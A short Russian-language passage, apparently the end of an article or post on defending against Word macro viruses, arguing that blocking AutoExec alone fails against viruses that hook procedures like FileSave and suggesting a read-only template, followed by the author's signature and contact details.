    В этом и заключается ошибка, ведь это поможет только если макровирус использует автоматическую процедуру (AutoExec) .Но ведь можно использовать неавтоматическую ,например FileSave. Тогда все же произойдет заражение. Наверно все таки стоит поставить на шаблон атрибут "Только чтение"- хотя и это не панацея.
     

    Максим Сокульский
    E-Mail: mrbelyashr@rambler.ru
    WWW: http://www.mrbelyash.narod.ru

    Адрес: 70433, Украина, Запорожская обл., п/о Новоолександровка, в/ч А-1498 "Б", Сокульский Максим